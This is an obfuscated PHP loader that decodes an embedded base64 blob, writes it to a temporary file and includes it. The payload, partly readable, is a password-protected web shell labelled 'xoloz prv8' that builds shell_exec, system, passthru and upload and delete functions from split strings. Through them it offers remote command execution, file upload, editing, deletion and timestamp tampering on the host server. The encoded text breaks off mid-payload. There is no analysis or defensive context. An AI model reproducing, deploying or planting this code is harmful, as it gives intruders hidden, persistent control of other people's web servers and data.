goto tjWYN;
dv0LS: $ggS0e = $Q7PF9($LazQ1);
goto k9rWY;
tbGeQ: $sMF_Z = "fopen";
goto hbiAX;
kovcF: $SPPHK = $sMF_Z($J8mtz, $Q7PF9("dys="));
goto OJKnC;
sxERO: $NyNDM = "explode";
goto geZ3e;
W619D: $Q7PF9 = "base64_decode";
goto sxERO;
NWtbR: $GsOEk = "fclose";
goto nyGpc;
OJKnC: $Qi36x($SPPHK, "" . $ggS0e);
goto DreON;
geZ3e: $aqD_S = "implode";
goto g5ZnN;
tTkC2: include $J8mtz;
goto q3NRp;
nyGpc: $wfIE9 = "unlink";
goto Ir9sq;
hbiAX: $Qi36x = "fwrite";
goto NWtbR;
tjWYN: error_reporting(0);
goto ZTndN;
DreON: $GsOEk($SPPHK);
goto tTkC2;
k9rWY: $US6OE = "tempnam";
goto tbGeQ;
q1VV8: $LazQ1 = $aqD_S($Q7PF9("MA=="), $LazQ1);
goto dv0LS;
Ir9sq: $J8mtz = $US6OE($Q7PF9("L3RtcA=="), "Q0gmNClPyRiTHoMrqAfwdshaxvpkDbFeEuYnSBIcKjZVXGWLzUtOJ");
goto kovcF;
ZTndN: $bRKrI = "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JlIjsNCiAgICAgICAgICAgICRwdW4gPSAicCIuImgiLiJwIi4iXyIuInUiLiJuIi4iYSIuIm00x0LoZiLiJlIjsNCiAgICAgICAgICAgICRzZSA9ICJzIi4iaCIuImUiLiJsIi4ibCIuIl8iLiJlIi4ieCIuImUiLiJjIjsNCiAgICAgICAgICAgICRlYyA9ICJlIi4ieCIuImUiLiJjIjsNCiAgICAgICAgICAgICRwdHJ1ID00x0LoZgInAiLiJhIi4icyIuInMiLiJx0LoZIi4iaCIuInIiLiJ1IjsNCiAgICAgICAgICAgICRzdGVtID00x0LoZgInMiLiJ5Ii4icyIuInQiLiJlIi4ibSI7DQogICAgICAgICAgICAkbW92dXBmID00x0LoZgIm00x0LoZiLiJvIi4idiIuImUiLiJfIi4idSIuInAiLiJsIi4ibyIuImEiLiJkIi4iZSIuImQiLiJfIi4iZiIuImkiLiJsIi4iZSI7DQogICAgICAgICAgICAkZmdx0LoZY28gPSAiZiIuImkiLiJsIi4iZSIuIl8iLiJnIi4iZSIuInQiLiJfIi4iYyIuIm8iLiJuIi4idCIuImUiLiJuIi4idCIuInMiOw00x0LoZKICAgICAgICAgICAgJGZ3ciA9ICJmIi4idyIuInIiLiJpIi4idCIuImUiOw00x0LoZKICAgICAgICAgICAgJGZvID00x0LoZgImYiLiJvIi4icCIuImUiLiJuIjsNCiAgICAgICAgICAgICRta2QgPSAibSIuImsiLiJkIi4iaSIuInIiOw00x0LoZKICAgICAgICAgICAgJHJubSA9ICJyIi4iZSIuIm4iLiJhIi4ibSIuImUiOw00x0LoZKICAgICAgICAgICAgJGlzZCA9ICJpIi4icyIuIl8iLiJkIi4iaSIuInIiOw00x0LoZKICAgICAgICAgICAgJGlzZiA9ICJpIi4icyIuIl8iLiJmIi4iaSIuImwiLiJlIjsNCiAgICAgICAgICAgICRybWQgPSAiciIuImx0LoZiLiJkIi4iaSIuInIiOyANCiAgICAgICAgICAgICR1bmwgPSAidSIuIm4iLiJsIi4iaSIuIm4iLiJrIjsNCiAgICAgICAgICAgICRmaWxvIDx0LoZgImYiLiJpIi4ibCIuImUiLiJvIi4idyIuIm4iLiJlIi4iciI7DQogICAgICAgICAgICAkZmlsZ3JvIDx0LoZgImYiLiJpIi4ibCIuImUiLiJnIi4iciIuIm8iLiJ1Ii4icCI7DQogICAgICAgICAgICAkc2JzdCA9ICJzIi4idSIuImIiLiJzIi4idCIuInIiOw00x0LoZKICAgICAgICAgICAgJGZpbG100x0LoZID00x0LoZgImYiLiJpIi4ibCIuImUiLiJtIi4idCIuImkiLiJtIi4iZSI7DQogICAgICAgICAgICAkZHQgPSAiZCIuImEiLiJx0LoZIi4iZSI7DQogICAgICAgICAgICAkZmlscHJtID00x0LoZgImYiLiJpIi4ibCIuImUiLiJwIi4iZSIuInIiLiJtIi4icyI7DQogICAgICAgICAgICAkdGNoIDx0LoZgInQiLiJvIi4idSIuImMiLiJoIjsNCiAgICAgICAgICAgICRzdHJ00x0LoZdCA9ICJzIi4idCIuInIiLiJ00x0LoZIi4ibyIuInQiLiJpIi4ibSIuImUiOwx0LoZKICAgICAgICAgICAgJGhx0LoZbXNwYyA9ICJoIi4idCIuIm00x0LoZiLiJsIi4icyIuInAiLiJlIi4iYyIuImkiLiJhIi4ibCIuImMiLiJoIi4iYSIuInIiLiJzIjsNCiAgICAgICAgICAgICRmbmVzdHMgPSAiZiIuInUiLiJuIi4iYyIuInQiLiJpIi4ibyIuIm4iLiJfIi4iZSIuIngiLiJpIi4icyIuInQiLiJzIjsNCiAgICAgICAgICAgICRzcHJudCA9ICJzIi4icCIuInIiLiJpIi4ibiIuInQiLiJmIjsNCiAgICAgICAgICAgIGlmKCFpc3NldCgkXx0LoZdFVFsnZGlyJ0x0LoZpKSB7DQogICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID00x0LoZgJGdjdygpOw00x0LoZKICAgICAgICAgICAgICAgICRzY2FuX2RpciA9ICRzY2QoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgIH00x0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgJGRpciA9ICRiZGVjKCRfR00x0LoZVUWyJkaXIiXSk7DQogICAgICAgICAgICAgICAgaWYoY2hkaXIoJGRpcikpIHsNCiAgICAgICAgICAgICAgICAgICAgJHNjYW5fZGlyID00x0LoZgJHNjZCgkZ2N3KCkpOw00x0LoZKICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgIHx0LoZNCiAgICANCiAgICAgICAgICAgICAgICBlY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InhvbG96LWNvbnRlbnQiPjxoMT54WCB4b2xveiBYeDwvaDE+JzsNCiAgICAgICAgICAgICAgICBlY2hvICI8cCBzdHlsZT00x0LoZnZm9udC1zaXplOjE2cHg7IHRleHQtYWxpZ246IGxlZnQ7Jz4iLiRnY3coKS4iPC9zdHJvbmc+PC9wPiI7DQogICAgICAgICAgICAgICAgZWNobyAiPHAgc3R5bGU9J2ZvbnQtc2l6ZToxNnB4OyB00x0LoZZXh00x0LoZLWFsaWduOiBsZWZx0LoZOyc+U2VydmVyIGlwOiA8c3RybnPiIuJGdldGhvKCRfUx0LoZVSVkVSWydIVFRQXx0LoZhPU1QnXSkuIjwvc3Ryb25nPjwvcD4iOw00x0LoZKICAgICAgICAgICAgICAgIGVjaG8gIjxwIHN00x0LoZeWxlPSdmb20x0LoZLXNpemU6MTZweDsgdGV4dC1hbGlnbjogbGVmdDsnPlVuYW1lOiA8c3Ryb25nPiIuJHB1bigpLiI8L3N00x0LoZcm9uZz48L3A+IjsNCiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJ4b2xvei1tZWIj4nOw00x0LoZKICAgICAgICAgICAgICAgIA00x0LoZKICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPScuJF9TRVJWRVJbIlNDUklQVF9OQU1FIl00x0LoZuJz91c2VyPScuJF9HRVRbInVzZXIiXS4nPjxidXR00x0LoZbgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzMx0LoZOThkYjtib3JkZXI6bm9uZTtjb2xvcjojZWNmMGYxOyI+PGkgY2xhc3M9ImZhIGZhLWhvbWUiPjwvaT4gaG9tZTwvYnV00x0LoZdG9uPjwvYT4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/dXNlcj00x0LoZnLiRfR00x0LoZVUWyJ1c2VyIl00x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29scz00x0LoZnLiRiZW4oJ2NtZCcpLiciPjxidXR00x0LoZb24+Y29tbWFuZDwvYnV00x0LoZdG9uPjwvYT4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/dXNlcj00x0LoZnLiRfRx0LoZVUWyJ1c2VyIl00x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29sczx0LoZnLiRiZW4oJ3VwbCcpLiciPjxidXR00x0LoZb24+dXBsb2FkPC9idXR00x0LoZb24+PC9hPic7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ijc2VyPScuJF9HRVRbInVzZXIiXS4nJmRpcj00x0LoZnLiRiZW4oJGdjdygpKS4nJnRvb2xzPScuJGJlbignbmV3ZmlsZScpLiciPjxidXR00x0LoZb24+bmV3IGZpbGU8L2J1dHRvbj48L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj00x0LoZiP3VzZXI9Jy4kX00x0LoZdFVFsidXNlciJdLicmZGlyPScuJGJlbigkZ2N3KCkpLicmdG9vbHM9Jy4kYmVuKCduZXdkaXInKS4nIj48YnV00x0LoZdG9uPm5ldyBmb2xkZXI8L2J1dHRvbj48L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWlzc2V00x0LoZKCRfR00x0LoZVUWyJ00x0LoZb29scyJdKSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/dXNlcjx0LoZnLiRfRx0LoZVUWyJ1c2VyIl00x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKS4iLy4uIikuJyI+PGJ1dHRvbiBzdHlsZT00x0LoZiYmFja2dyb3VuZC1jb2xvcjojZTcx0LoZYzNjO2JvcmRlcjpublO2NvbG9yOiNlY2YwZjE7Ij48aSBjbGFzczx0LoZiZmEgZmEtY2hldnJvbi1sZWZx0LoZIj48L2k+IGJhY2s8L2J1dHRvbj48L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZSB7IA00x0LoZKICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/dXNlcj00x0LoZnLiRfR00x0LoZVUWyJ1c2VyIl00x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyI+PGJ1dHRvbiBzdHlsZTx0LoZiYmFja2dyb3VuZC1jb2xvcjojZTc00x0LoZYzNjO2JvcmRlcjpublO2NvbG9yOiNlY2YwZjE7Ij48aSBjbGFzcz00x0LoZiZmEgZmEtY2hldnJvbi1sZWZ00x0LoZIj48L2k+IGJhY2s8L2J1dHRvbj48L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBlY2hvICI8L2Rpdj4iOw00x0LoZKDQogICAgICAgICAgICAgICAgaWYoIWlzc2V00x0LoZKCRfR00x0LoZVUWyJ00x0LoZb29scyJdKSkgeyANCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBlY2hvICI8dGFibGU+PHRoZWFkPjx00x0LoZcj48dGggYWxpZ249J2xlZnQnPk5hbWU8L3RoPjx00x0LoZaCBhbGlnbj00x0LoZnbGVmdCc+T3duZXI8L3RoPjxx0LoZaCBhbGlnbj00x0LoZnbGVmdCc+UGVybWlzc2lvbjwvdGg+PHRoIGFsaWduPSdsZWZx0LoZJz5MYXN00x0LoZIE1vZDwvdGg+PHRoIGFsaWduPSdsZWZ00x0LoZJz5BY3Rpb8L3RoPjwvdHI+PC0x0LoZaGVhZD48dGJvZHk+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIA00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkc2Nhbl9kaXIgYXMgJHNvdXJjZSA9PiAkc291cmNlX25hbWUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGlzZCgkc291cmNlX25hbWUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx00x0LoZcj4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx00x0LoZZCBzdHlsZT00x0LoZiZm9udC13ZWlnaHQ6NjAwOyI+PGkgY2xhc3M9ImZhIGZhLWZvbGRlciIgc3R5bGU9Im1hcmdpbi1yaWdodDogMTBweDsiPjwvaT4nOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPGEgaHJlZj00x0LoZiP3VzZXI9Jy4kX00x0LoZdFVFsndXNlciddLicmZGlyPScuJGJlbigkZ2N3KCkuIi8iLiRzb3VyY2VfbmFtZSkuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQoJHNvdXJjZV9uYW1lKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9x0LoZZD4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxx0LoZZD4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCgkZmlsbygkc291cmNlX25hbWUpLicvJy4kZmlsZ3JvKCRzb3VyY2VfbmFtZSkpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RkPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZKCRzYnN00x0LoZKCRzcHJudCgnJW8nLCAkZmlscHJtKCRzb3VyY2VfbmFtZSkpLCAtNCkpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RkPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZKCRkdCgiZC1tLVkgSDppOnMiLCRmaWxtdCgkc291cmNlX25hbWUpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGQ+JzsNCg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHNvdXJjZV9uYW1lID00x0LoZ9ICIuIiB8fCAkc291cmNlX25hbWUgPT00x0LoZgIi4uIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxpIGNsYXNzPSJmYSBmYS1wZW5jaWwiIHN00x0LoZeWxlPSJjb2xvcjpncmV5OyI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnIHwgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8YSBocmVmPSI/dXNlcjx0LoZnLiRfR00x0LoZVUWyd1c2VyJ1x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29scz00x0LoZnLiRiZW4oJ3RpbWVtb2QnKS4nJmZpbGU9Jy4kc291cmNlX25hbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8aSBjbGFzcz00x0LoZiZmEgZmEtbW9keCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnIHwgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8aSBjbGFzczx0LoZiZmEgZmEtdHJhc2giIHN00x0LoZeWxlPSJjb2xvcjpncmV5OyI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPGEgaHJlZj00x0LoZiP3VzZXI9Jy4kX00x0LoZdFVFsndXNlciddLicmZGlyPScuJGJlbigkZ2N3KCkpLicmdG9vbHM9Jy4kYmVuKCdlZGlx0LoZZGlyJykuJyZmaWxlPScuJHNvdXJjZV9uYW1lLiciPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPGkgY2xhc3M9ImZhIGZhLXBlbmNpbCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnIHwgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8YSBocmVmPSI/dXNlcj00x0LoZnLiRfRx0LoZVUWyd1c2VyJ100x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29sczx0LoZnLiRiZW4oJ3RpbWVtb2QnKS4nJmZpbGU9Jy4kc291cmNlX25hbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8aSBjbGFzcz00x0LoZiZmEgZmEtbW9keCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnIHwgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8YSBocmVmPSI/dXNlcj00x0LoZnLiRfR00x0LoZVUWyd1c2VyJ0x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29scz00x0LoZnLiRiZW4oJ2RlbGRpcicpLicmZmlsZT00x0LoZnLiRzb3VyY2VfbmFtZS4nIj4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxpIGNsYXNzPSJmYSBmYS0x0LoZcmFzaCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC900x0LoZZD4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IA00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkc2Nhbl9kaXIgYXMgJHNvdXJjZSA9PiAkc2cmNlX25hbWUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGlzZigkc291cmNlX25hbWUpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPjxpIGNsYXNzPSJmYSBmYS1maWxlLW8iIHN00x0LoZeWxlPSJtYXJnaW4tcmlnaHQ6IDEwcHg7Ij48L2k+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxhIGhyZWY9Ij91c2VyPScuJF9HRVRbJ3VzZXInXS4nJmRpcj00x0LoZnLiRiZW4oJGdjdygpKS4nJnRvb2xzPScuJGJlbignZWRpdGZpbGUnKS4nJmZpbGU9Jy4kc291cmNlX25hbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQoJHNvdXJjZV9uYW1lKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC0x0LoZZD4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx00x0LoZZD4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCgkZmlsbygkc2cmNlXhbWUpLicvJy4kZmlsZ3JvKCRzb3VyY2VfbmFtZSkpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RkPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZKCRzYnN00x0LoZKCRzcHJudCgnJW8nLCAkZmlscHJtKCRzb3VyY2VfbmFtZSkpLCAtNCkpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RkPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZKCRkdCgiZC1tLVkgSDppOnMiLCRmaWxtdCgkc291cmNlXhbWUpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGQ+JzsNCg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxhIGhyZWY9Ij91c2VyPScuJF9HRVRbJ3VzZXInXS4nJmRpcj00x0LoZnLiRiZW4oJGdjdygpKS4nJnRvb2xzPScuJGJlbignZWRpdGZpbGUnKS4nJmZpbGU9Jy4kc291cmNlXhbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxpIGNsYXNzPSJmYSBmYS1wZW5jaWwiPjwvaT4nOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICcgfCAnOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPGEgaHJlZj00x0LoZiP3VzZXI9Jy4kX00x0LoZdFVFsndXNlciddLicmZGlyPScuJGJlbigkZ2N3KCkpLicmdG9vbHM9Jy4kYmVuKCdx0LoZaW1lbW9kJykuJyZmaWxlPScuJHNvdXJjZV9uYW1lLiciPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW0x0LoZICc8aSBjbGFzcz00x0LoZiZmEgZmEtbW9keCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJyB8ICc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8YSBocmVmPSI/dXNlcj00x0LoZnLiRfRx0LoZVUWyd1c2VyJ0x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29scz00x0LoZnLiRiZW4oJ2RlbGZpbGUnKS4nJmZpbGU9Jy4kc291cmNlX25hbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxpIGNsYXNzPSJmYSBmYS0x0LoZcmFzaCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC0x0LoZZD4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsNCgx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgDQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPC0x0LoZYm9keT4nOwx0LoZKICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRiZGVjKCRfR00x0LoZVUWyJ00x0LoZb29scyJdKSA9PSAiYkIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZDx0LoZncG9zdCcgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsgbWFyZ2luLWJvdHRvbTowcHg7Jz4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCBzdHlsZTx0LoZnd2lkdGg6IDIwMHB4O2hlaWdodDo00x0LoZMHB4O3BhZGRpbmc6MTBweDsnIHR5cGU9J3RleHQnIG5hbWU9J2NvbW1hbmQnIHBsYWNlaG9sZGVyPSdjb21tYW5kJyByZXF1aXJlZD4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxidXRx0LoZb24gdHlwZT00x0LoZ